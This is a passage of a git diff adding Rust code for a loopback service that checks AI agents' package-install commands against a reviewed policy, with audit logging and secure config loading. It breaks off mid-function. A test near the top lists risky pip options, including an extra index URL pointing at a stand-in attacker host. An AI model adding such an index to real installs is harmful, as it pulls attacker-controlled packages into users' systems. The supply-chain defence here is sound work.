"--no-b", + "--pref", + "--con", + "--platform", + "--python-version=3.11", + "--implementation", + "--abi=cp311", + "--no-binary=:all:", + "--only-binary=:all:", + "--prefer-binary", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "--prefe=true", + "--no-bu=true", + "--extra-index-url=https://attacker.invalid/simple", + ] { + assert!( + !requests_pip_artifact_variant_abbreviation(option), + "ambiguous, canonical, invalid-valued Boolean, or unrelated option must not be guessed as a pip abbreviation: {option}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs new file mode 100644 index 00000000..e58d516d --- /dev/null +++ b/crates/agent-artifact-admission/src/audit.rs @@ -0,0 +1,410 @@ +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::{self, Write}; +#[cfg(target_os = "linux")] +use std::os::fd::AsRawFd; +#[cfg(target_os = "linux")] +use std::os::unix::fs::{MetadataExt, OpenOptionsExt, PermissionsExt}; +use std::path::{Path, PathBuf}; +use std::sync::Mutex; +use std::time::{SystemTime, UNIX_EPOCH}; + +use serde::{Deserialize, Serialize}; + +use crate::policy::{ + auditable_identifier, canonical_registry_url, normalize_https_source_uri, valid_text_field, +}; +use crate::{ + AdmissionDecision, AdmissionPolicy, ArtifactCoordinate, DecisionKind, InstallIntent, + InstructionSourceKind, ReasonCode, is_sha256_hex, sha256_hex, +}; + +const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; +#[cfg(target_os = "linux")] +const LINUX_O_NOFOLLOW: i32 = 0o400000; +#[cfg(target_os = "linux")] +const LINUX_O_NONBLOCK: i32 = 0o4000; + +/// Minimized content-addressed artifact identity persisted in audit evidence. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Reviewed normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, +} + +impl AuditArtifact { + fn from_coordinate(artifact: &ArtifactCoordinate) -> Self { + Self { + ecosystem: auditable_identifier("ecosystem", &artifact.ecosystem, 64), + name: auditable_identifier("artifact", &artifact.name, 512), + version: auditable_identifier("version", &artifact.version, 256), + registry_url: canonical_registry_url(&artifact.registry_url).unwrap_or_else(|| { + format!( + "registry:sha256:{}", + sha256_hex(artifact.registry_url.as_bytes()) + ) + }), + owner: auditable_identifier("owner", &artifact.owner, 512), + sha256: if is_sha256_hex(&artifact.sha256) { + artifact.sha256.clone() + } else { + sha256_hex(artifact.sha256.as_bytes()) + }, + } + } +} + +/// Durable, minimized evidence for one authenticated admission attempt. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditRecord { + /// Milliseconds since the Unix epoch when the record was constructed. + pub timestamp_unix_ms: u128, + /// Caller-supplied stable request identifier or a rejection surrogate. + pub request_id: String, + /// Identity of the requesting agent or broker when available. + pub actor_id: String, + /// Workspace or repository identifier when available. + pub workspace_id: String, + /// Structured operation, such as `install`. + pub operation: String, + /// Final fail-closed decision. + pub decision: DecisionKind, + /// Stable machine-readable decision reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Instruction-source kind without untrusted raw content. + pub source_kind: Option, + /// Source URI after removing query and fragment data. + pub normalized_source_uri: Option, + /// SHA-256 digest of remote source content when supplied and valid. + pub source_content_sha256: Option, + /// SHA-256 digest of the structured command vector or malformed body. + pub command_sha256: String, + /// SHA-256 digest of a malformed authenticated request body when materialized. + pub request_body_sha256: Option, + /// Reviewed dependency-manifest digest supplied with a parsed request. + pub manifest_sha256: Option, + /// Content-addressed artifact coordinates with no command argument token. + pub artifacts: Vec, +} + +/// Stable audit persistence error that never exposes paths or untrusted payload data. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AuditError { + /// Serialization produced a record beyond the fixed audit-line budget. + RecordTooLarge, + /// JSON serialization failed. + Serialization, + /// The append-only sink could not durably persist the record. + StorageUnavailable, + /// The sink's internal serialization lock was poisoned. + LockUnavailable, + /// The system clock cannot produce a Unix timestamp. + ClockUnavailable, +} + +impl fmt::Display for AuditError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::RecordTooLarge => "audit record exceeds the bounded line size", + Self::Serialization => "audit record serialization failed", + Self::StorageUnavailable => "audit storage is unavailable", + Self::LockUnavailable => "audit writer lock is unavailable", + Self::ClockUnavailable => "audit timestamp is unavailable", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for AuditError {} + +/// Append-only audit persistence boundary used by HTTP admission before returning a decision. +pub trait AuditSink: Send + Sync { + /// Append and durably persist one complete audit record. + fn append(&self, record: &AuditRecord) -> Result<(), AuditError>; +} + +/// Append-only NDJSON file sink with serialized, flush-and-sync writes. +pub struct FileAuditSink { + path: PathBuf, + writer_lock: Mutex<()>, +} + +impl FileAuditSink { + /// Create a file-backed sink. The file is opened lazily on each append. + pub fn new(path: impl Into) -> Self { + Self { + path: path.into(), + writer_lock: Mutex::new(()), + } + } + + fn open_append_only(&self) -> io::Result { + #[cfg(target_os = "linux")] + { + let (parent, file_name) = open_parent_without_symlinks(Path::new(&self.path))?; + let file = OpenOptions::new() + .create(true) + .append(true) + .mode(0o600) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) + .open(proc_fd_child(&parent, file_name))?; + let metadata = file.metadata()?; + if !metadata.is_file() + || metadata.permissions().mode() & 0o077 != 0 + || metadata.nlink() != 1 + { + return Err(io::Error::new( + io::ErrorKind::PermissionDenied, + "audit storage must be a single-link owner-only regular file", + )); + } + Ok(file) + } + + #[cfg(not(target_os = "linux"))] + { + Err(io::Error::new( + io::ErrorKind::Unsupported, + "secure audit-file opening is not implemented on this platform", + )) + } + } +} + +#[cfg(target_os = "linux")] +fn open_parent_without_symlinks(path: &Path) -> io::Result<(File, &std::ffi::OsStr)> { + let file_name = path.file_name().ok_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "audit storage path must name a file", + ) + })?; + let parent_path = path.parent().unwrap_or_else(|| Path::new("")); + let mut directory = open_directory_without_following(if parent_path.is_absolute() { + Path::new("/") + } else { + Path::new(".") + })?; + + for component in parent_path.components() { + use std::path::Component; + match component { + Component::RootDir | Component::CurDir => {} + Component::ParentDir => { + directory = open_directory_without_following(&proc_fd_child( + &directory, + std::ffi::OsStr::new(".."), + ))?; + } + Component::Normal(name) => { + directory = open_directory_without_following(&proc_fd_child(&directory, name))?; + } + Component::Prefix(_) => { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "audit storage path contains an unsupported prefix", + )); + } + } + } + + Ok((directory, file_name)) +} + +#[cfg(target_os = "linux")] +fn open_directory_without_following(path: &Path) -> io::Result { + let directory = OpenOptions::new() + .read(true) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) + .open(path)?; + if !directory.metadata()?.is_dir() { + return Err(io::Error::new( + io::ErrorKind::NotADirectory, + "audit storage path component must be a directory", + )); + } + Ok(directory) +} + +#[cfg(target_os = "linux")] +fn proc_fd_child(parent: &File, child: &std::ffi::OsStr) -> PathBuf { + PathBuf::from("/proc/self/fd") + .join(parent.as_raw_fd().to_string()) + .join(child) +} + +impl AuditSink for FileAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let encoded = encode_record(record)?; + let _guard = self + .writer_lock + .lock() + .map_err(|_| AuditError::LockUnavailable)?; + let mut file = self + .open_append_only() + .map_err(|_| AuditError::StorageUnavailable)?; + file.write_all(&encoded) + .and_then(|_| file.write_all(b"\n")) + .and_then(|_| file.flush()) + .and_then(|_| file.sync_data()) + .map_err(|_| AuditError::StorageUnavailable) + } +} + +/// In-memory append-only sink for embedding and deterministic tests. +#[derive(Default)] +pub struct MemoryAuditSink { + records: Mutex>, +} + +impl MemoryAuditSink { + /// Return a snapshot of records in durable append order. + pub fn records(&self) -> Result, AuditError> { + self.records + .lock() + .map(|records| records.clone()) + .map_err(|_| AuditError::LockUnavailable) + } +} + +impl AuditSink for MemoryAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let _ = encode_record(record)?; + self.records + .lock() + .map_err(|_| AuditError::LockUnavailable)? + .push(record.clone()); + Ok(()) + } +} + +/// Build minimized audit evidence from a parsed admission request and its decision. +pub fn build_audit_record( + intent: &InstallIntent, + decision: &AdmissionDecision, +) -> Result { + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: auditable_identifier("request", &intent.request_id, 256), + actor_id: auditable_identifier("actor", &intent.actor_id, 512), + workspace_id: auditable_identifier("workspace", &intent.workspace_id, 512), + operation: if valid_text_field(&intent.operation, 32) { + intent.operation.clone() + } else { + "invalid".to_string() + }, + decision: decision.decision, + reason_codes: decision.reason_codes.clone(), + policy_id: auditable_identifier("policy", &decision.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &decision.policy_revision, 256), + source_kind: Some(intent.source.kind), + normalized_source_uri: intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri), + source_content_sha256: intent + .source + .content_sha256 + .as_ref() + .filter(|digest| is_sha256_hex(digest)) + .cloned(), + command_sha256: decision.command_sha256.clone(), + request_body_sha256: None, + manifest_sha256: is_sha256_hex(&intent.manifest_sha256) + .then(|| intent.manifest_sha256.clone()), + artifacts: intent + .artifacts + .iter() + .take(64) + .map(AuditArtifact::from_coordinate) + .collect(), + }) +} + +/// Build minimized evidence for authenticated JSON that failed strict parsing. +pub fn build_malformed_audit_record( + policy: &AdmissionPolicy, + request_body_sha256: &str, +) -> Result { + let digest = if is_sha256_hex(request_body_sha256) { + request_body_sha256.to_string() + } else { + sha256_hex(request_body_sha256.as_bytes()) + }; + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("malformed:{digest}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: digest.clone(), + request_body_sha256: Some(digest), + manifest_sha256: None, + artifacts: Vec::new(), + }) +} + +/// Build minimized evidence when an authenticated body cannot be materialized safely. +pub fn build_unavailable_request_audit_record( + policy: &AdmissionPolicy, + reason: ReasonCode, +) -> Result { + let reason_name = reason.as_str(); + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("unavailable:{reason_name}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + request_body_sha256: None, + manifest_sha256: None, + artifacts: Vec::new(), + }) +} + +fn encode_record(record: &AuditRecord) -> Result, AuditError> { + let encoded = serde_json::to_vec(record).map_err(|_| AuditError::Serialization)?; + if encoded.len() > MAX_AUDIT_LINE_BYTES { + return Err(AuditError::RecordTooLarge); + } + Ok(encoded) +} + +fn unix_timestamp_ms() -> Result { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|duration| duration.as_millis()) + .map_err(|_| AuditError::ClockUnavailable) +} diff --git a/crates/agent-artifact-admission/src/cargo_install_authority.rs b/crates/agent-artifact-admission/src/cargo_install_authority.rs new file mode 100644 index 00000000..9c331529 --- /dev/null +++ b/crates/agent-artifact-admission/src/cargo_install_authority.rs @@ -0,0 +1,38 @@ +use crate::InstallIntent; + +/// Return whether a Cargo install asks for mutation authority that is not +/// represented by the reviewed artifact coordinate. +pub(crate) fn requests_unapproved_cargo_install_mutation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + intent.argv.iter().skip(2).any(|argument| { + matches_cli_flag(argument, "-f") + || matches_cli_flag(argument, "--force") + || matches_cli_flag(argument, "--no-track") + }) +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' +} diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs new file mode 100644 index 00000000..e8ee38a5 --- /dev/null +++ b/crates/agent-artifact-admission/src/config.rs @@ -0,0 +1,338 @@ +use std::collections::BTreeSet; +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::Read; +use std::net::SocketAddr; +#[cfg(target_os = "linux")] +use std::os::unix::fs::OpenOptionsExt; +use std::path::Path; + +use serde::{Deserialize, Serialize}; + +use crate::artifact_source_identity::artifact_argument_matches_reviewed_source; +use crate::policy::{ + canonical_registry_url, is_permanently_forbidden_executable, supported_executable, + valid_pinned_version, valid_text_field, +}; +use crate::{AdmissionPolicy, is_sha256_hex}; + +const MAX_CONFIG_FILE_BYTES: u64 = 1024 * 1024; +const MAX_CREDENTIAL_FILE_BYTES: u64 = 16 * 1024; +const MAX_REQUEST_BODY_BYTES: usize = 1024 * 1024; +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const MIN_ADMIN_TOKEN_BYTES: usize = 32; +#[cfg(target_os = "linux")] +const LINUX_O_NOFOLLOW: i32 = 0o400000; +#[cfg(target_os = "linux")] +const LINUX_O_NONBLOCK: i32 = 0o4000; + +/// Immutable process configuration for the agent-artifact admission service. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionServiceConfig { + /// Configuration schema version. Version `1` is the only supported revision. + pub configuration_version: String, + /// TCP listener address. The service accepts loopback addresses only. + pub bind_address: String, + /// Maximum accepted request body size in bytes. + pub max_request_body_bytes: usize, + /// Append-only NDJSON audit destination. + pub audit_log_path: String, + /// Reviewed admission policy applied to every install request. + pub policy: AdmissionPolicy, +} + +/// Strict credentials document loaded from a protected file. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct CredentialFile { + /// Bearer token required by the admission endpoint. + pub admin_token: String, +} + +/// Strict command-line arguments accepted by the standalone service. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct CliArgs { + /// Path to the reviewed service configuration document. + pub config_path: String, + /// Path to the protected credentials document. + pub credentials_path: String, +} + +/// Stable configuration failure that does not expose file content or secret material. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ConfigError { + /// Command-line arguments are missing, duplicated, or unknown. + InvalidArguments, + /// A configuration or credentials file could not be read. + Io, + /// A bounded file exceeded its fixed byte budget. + FileTooLarge, + /// JSON was malformed or contained unknown fields. + InvalidJson, + /// Service configuration violated a fail-closed invariant. + InvalidConfiguration, + /// Credential material violated the token contract. + InvalidCredential, +} + +impl fmt::Display for ConfigError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::InvalidArguments => "invalid admission service arguments", + Self::Io => "admission configuration is unavailable", + Self::FileTooLarge => "admission configuration exceeds its size limit", + Self::InvalidJson => "admission configuration JSON is invalid", + Self::InvalidConfiguration => "admission service configuration is unsafe", + Self::InvalidCredential => "admission credential is invalid", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ConfigError {} + +/// Parse the only supported CLI shape: one `--config` path and one `--credentials` path. +pub fn parse_cli_args(args: &[String]) -> Result { + let mut config_path = None; + let mut credentials_path = None; + let mut index = 0; + + while index < args.len() { + let flag = args[index].as_str(); + let Some(value) = args.get(index + 1) else { + return Err(ConfigError::InvalidArguments); + }; + if value.is_empty() || value.starts_with("--") { + return Err(ConfigError::InvalidArguments); + } + + match flag { + "--config" if config_path.is_none() => config_path = Some(value.clone()), + "--credentials" if credentials_path.is_none() => credentials_path = Some(value.clone()), + _ => return Err(ConfigError::InvalidArguments), + } + index += 2; + } + + match (config_path, credentials_path) { + (Some(config_path), Some(credentials_path)) => Ok(CliArgs { + config_path, + credentials_path, + }), + _ => Err(ConfigError::InvalidArguments), + } +} + +/// Load and validate a bounded, strict JSON service configuration document. +pub fn load_config(path: &Path) -> Result { + let bytes = read_bounded(path, MAX_CONFIG_FILE_BYTES)?; + let config: AdmissionServiceConfig = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_service_config(&config)?; + Ok(config) +} + +/// Load the bounded credentials document and return its validated bearer token. +pub fn load_admin_token(path: &Path) -> Result { + let bytes = read_credential_bounded(path, MAX_CREDENTIAL_FILE_BYTES)?; + let credential: CredentialFile = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_admin_token(&credential.admin_token)?; + Ok(credential.admin_token) +} + +/// Validate all service and policy invariants before any listener is bound. +pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), ConfigError> { + if config.configuration_version != "1" { + return Err(ConfigError::InvalidConfiguration); + } + + let bind_address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ConfigError::InvalidConfiguration)?; + if !bind_address.ip().is_loopback() || bind_address.port() == 0 { + return Err(ConfigError::InvalidConfiguration); + } + + if config.max_request_body_bytes == 0 || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES + { + return Err(ConfigError::InvalidConfiguration); + } + + if !valid_text_field(&config.audit_log_path, 4096) || config.audit_log_path.contains('\0') { + return Err(ConfigError::InvalidConfiguration); + } + + validate_policy(&config.policy) +} + +fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { + if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) + { + return Err(ConfigError::InvalidConfiguration); + } + + let mut executables = BTreeSet::new(); + for executable in &policy.allowed_executables { + if !valid_executable(executable) + || !supported_executable(executable) + || is_permanently_forbidden_executable(executable) + || !executables.insert(executable.as_str()) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut manifests = BTreeSet::new(); + for manifest in &policy.approved_manifests { + if !valid_text_field(&manifest.workspace_id, 512) + || !is_sha256_hex(&manifest.sha256) + || !manifests.insert((manifest.workspace_id.as_str(), manifest.sha256.as_str())) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut artifacts = BTreeSet::new(); + for artifact in &policy.approved_artifacts { + if !valid_text_field(&artifact.ecosystem, 64) + || !valid_text_field(&artifact.name, 512) + || !valid_pinned_version(&artifact.version) + || canonical_registry_url(&artifact.registry_url).is_none() + || !valid_text_field(&artifact.owner, 512) + || !is_sha256_hex(&artifact.sha256) + || !valid_text_field(&artifact.artifact_argument, 1024) + || !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) + || !artifacts.insert(( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + artifact.artifact_argument.as_str(), + )) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + Ok(()) +} + +fn validate_admin_token(token: &str) -> Result<(), ConfigError> { + if token.len() < MIN_ADMIN_TOKEN_BYTES + || token.len() > MAX_ADMIN_TOKEN_BYTES + || !token + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) + { + return Err(ConfigError::InvalidCredential); + } + Ok(()) +} + +fn valid_executable(value: &str) -> bool { + valid_text_field(value, 128) + && value == value.to_ascii_lowercase() + && !value.contains('/') + && !value.contains('\\') + && value + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) +} + +/// Acquire security-sensitive local configuration through one Linux descriptor. +/// `O_NOFOLLOW` binds the decision to a non-symlink final component and +/// `O_NONBLOCK` prevents a FIFO from stalling startup before type validation. +#[cfg(target_os = "linux")] +fn open_local_authority_file(path: &Path) -> Result { + OpenOptions::new() + .read(true) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) + .open(path) + .map_err(|_| ConfigError::Io) +} + +/// Fail closed on platforms where Wardnet has not implemented an equivalent +/// no-follow, nonblocking local-file authority contract. +#[cfg(not(target_os = "linux"))] +fn open_local_authority_file(_path: &Path) -> Result { + Err(ConfigError::Io) +} + +fn read_credential_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { + let file = open_local_authority_file(path)?; + validate_credential_file_permissions(&file)?; + read_open_file_bounded(file, maximum_bytes) +} + +#[cfg(target_os = "linux")] +fn validate_credential_file_permissions(file: &File) -> Result<(), ConfigError> { + use std::os::unix::fs::PermissionsExt; + + let metadata = file.metadata().map_err(|_| ConfigError::Io)?; + if !metadata.is_file() || metadata.permissions().mode() & 0o077 != 0 { + return Err(ConfigError::InvalidCredential); + } + Ok(()) +} + +#[cfg(not(target_os = "linux"))] +fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> { + Err(ConfigError::InvalidCredential) +} + +/// Open the reviewed policy configuration once, validate authority on that same +/// descriptor, then materialize bounded bytes. Splitting the permission check +/// into a pathname metadata call followed by a second open would reintroduce a +/// filesystem TOCTOU interval. See +/// `docs/doctoring/agent-artifact-admission-configuration-integrity.md`. +fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { + let file = open_local_authority_file(path)?; + validate_config_file_permissions(&file)?; + read_open_file_bounded(file, maximum_bytes) +} + +/// Reject non-regular policy inputs and Linux policy files writable by group or +/// other principals while preserving read-only visibility. Policy integrity, +/// not confidentiality, is the invariant at this boundary; credentials use a +/// separate stricter check. +#[cfg(target_os = "linux")] +fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { + use std::os::unix::fs::PermissionsExt; + + let metadata = file.metadata().map_err(|_| ConfigError::Io)?; + if !metadata.is_file() || metadata.permissions().mode() & 0o022 != 0 { + return Err(ConfigError::InvalidConfiguration); + } + Ok(()) +} + +/// Fail closed where Wardnet has no tested native ACL-equivalence contract for +/// configuration mutation authority. Adding a platform-specific ACL model is a +/// separate compatibility change; silently accepting unverifiable authority is +/// not an equivalent security boundary. +#[cfg(not(target_os = "linux"))] +fn validate_config_file_permissions(_file: &File) -> Result<(), ConfigError> { + Err(ConfigError::InvalidConfiguration) +} + +fn read_open_file_bounded(file: File, maximum_bytes: u64) -> Result, ConfigError> { + let mut bytes = Vec::new(); + file.take(maximum_bytes + 1) + .read_to_end(&mut bytes) + .map_err(|_| ConfigError::Io)?; + if bytes.len() as u64 > maximum_bytes { + return Err(ConfigError::FileTooLarge); + } + Ok(bytes) +} diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs new file mode 100644 index 00000000..7280ed23 --- /dev/null +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -0,0 +1,58 @@ +use crate::{InstallIntent, policy::uv_active_command_index}; + +/// Return whether a supported PyPI install can resolve dependencies that are +/// absent from the reviewed artifact set. +pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" => { + arguments + .first() + .is_some_and(|argument| argument == "install") + && !arguments.iter().any(|argument| argument == "--no-deps") + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") + && !arguments[pip_index + 2..] + .iter() + .any(|argument| argument == "--no-deps") + } + _ => false, + } +} + +/// Return whether the currently supported npm-family direct-install grammar can +/// widen one reviewed direct artifact into resolver-selected transitive artifacts. +/// +/// npm, pnpm, Yarn, and Bun all resolve dependency closures for direct package +/// installs. The v0.1 policy binds only direct artifact operands and therefore +/// has no trustworthy way to prove the exact transitive closure those commands +/// will materialize. Until a reviewed lockfile/material-set contract is carried +/// by the intent and enforced by the execution broker, these direct resolver +/// paths must fail closed rather than treating `--ignore-scripts` as dependency +/// identity control. +pub(crate) fn npm_family_dependency_closure_is_unverified(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + _ => false, + } +} diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs new file mode 100644 index 00000000..185575b9 --- /dev/null +++ b/crates/agent-artifact-admission/src/http.rs @@ -0,0 +1,347 @@ +use std::fmt; +use std::future::pending; +use std::net::SocketAddr; +use std::path::Path; +use std::sync::Arc; + +use axum::{ + Json, Router, + body::Bytes, + extract::{DefaultBodyLimit, State, rejection::BytesRejection}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + routing::{get, post}, +}; +use serde::Serialize; +use tokio::net::TcpListener; + +use crate::{ + AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, + DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, build_audit_record, + build_malformed_audit_record, build_unavailable_request_audit_record, load_admin_token, + load_config, parse_cli_args, sha256_hex, validate_install_intent, +}; + +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const TOKEN_COMPARISON_BYTES: usize = MAX_ADMIN_TOKEN_BYTES + 2; + +/// Shared immutable state for the loopback-only admission HTTP service. +#[derive(Clone)] +pub struct AdmissionState { + policy: Arc, + admin_token: Arc, + audit_sink: Arc, + max_request_body_bytes: usize, +} + +impl AdmissionState { + /// Construct service state from validated policy, credential, and audit dependencies. + pub fn new( + policy: AdmissionPolicy, + admin_token: String, + audit_sink: Arc, + max_request_body_bytes: usize, + ) -> Self { + Self { + policy: Arc::new(policy), + admin_token: Arc::from(admin_token), + audit_sink, + max_request_body_bytes, + } + } +} + +/// Stable process-level service failure that never exposes paths, tokens, or request content. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ServiceError { + /// Configuration or credential loading failed. + Configuration, + /// The validated loopback listener could not be bound. + Bind, + /// The HTTP server terminated with an error. + Serve, +} + +impl fmt::Display for ServiceError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::Configuration => "agent artifact admission configuration failed", + Self::Bind => "agent artifact admission listener failed", + Self::Serve => "agent artifact admission service failed", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ServiceError {} + +/// Build the authenticated admission router with its configured request-body limit. +pub fn build_app(state: AdmissionState) -> Router { + let max_request_body_bytes = state.max_request_body_bytes; + Router::new() + .route("/healthz", get(healthz)) + .route("/v1/policy", get(get_policy)) + .route("/v1/admissions", post(create_admission)) + .layer(DefaultBodyLimit::max(max_request_body_bytes)) + .with_state(state) +} + +/// Run the standalone loopback service from a validated configuration and credential. +pub async fn run_service( + config: AdmissionServiceConfig, + admin_token: String, +) -> Result<(), ServiceError> { + let address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ServiceError::Configuration)?; + if !address.ip().is_loopback() || address.port() == 0 { + return Err(ServiceError::Configuration); + } + + let audit_sink: Arc = Arc::new(FileAuditSink::new(config.audit_log_path)); + let state = AdmissionState::new( + config.policy, + admin_token, + audit_sink, + config.max_request_body_bytes, + ); + let listener = TcpListener::bind(address) + .await + .map_err(|_| ServiceError::Bind)?; + axum::serve(listener, build_app(state)) + .with_graceful_shutdown(shutdown_signal()) + .await + .map_err(|_| ServiceError::Serve) +} + +/// Parse strict CLI arguments, load bounded files, and run the standalone service. +pub async fn run_cli(args: &[String]) -> Result<(), ServiceError> { + let cli = parse_cli_args(args).map_err(|_| ServiceError::Configuration)?; + let config = + load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; + let token = load_admin_token(Path::new(&cli.credentials_path)) + .map_err(|_| ServiceError::Configuration)?; + run_service(config, token).await +} + +#[derive(Serialize)] +struct HealthView { + status: &'static str, + policy_id: String, + policy_revision: String, + allowed_executable_count: usize, + approved_manifest_count: usize, + approved_artifact_count: usize, +} + +#[derive(Serialize)] +struct ErrorView { + error: &'static str, +} + +async fn healthz(State(state): State) -> Json { + Json(HealthView { + status: "ok", + policy_id: state.policy.policy_id.clone(), + policy_revision: state.policy.policy_revision.clone(), + allowed_executable_count: state.policy.allowed_executables.len(), + approved_manifest_count: state.policy.approved_manifests.len(), + approved_artifact_count: state.policy.approved_artifacts.len(), + }) +} + +async fn get_policy(State(state): State, headers: HeaderMap) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + Json((*state.policy).clone()).into_response() +} + +async fn create_admission( + State(state): State, + headers: HeaderMap, + body: Result, +) -> Response { + if !authenticated(&headers, &state.admin_token) { + return unauthorized(); + } + + let body = match body { + Ok(body) => body, + Err(rejection) => return body_rejection_response(&state, rejection).await, + }; + + let intent = match 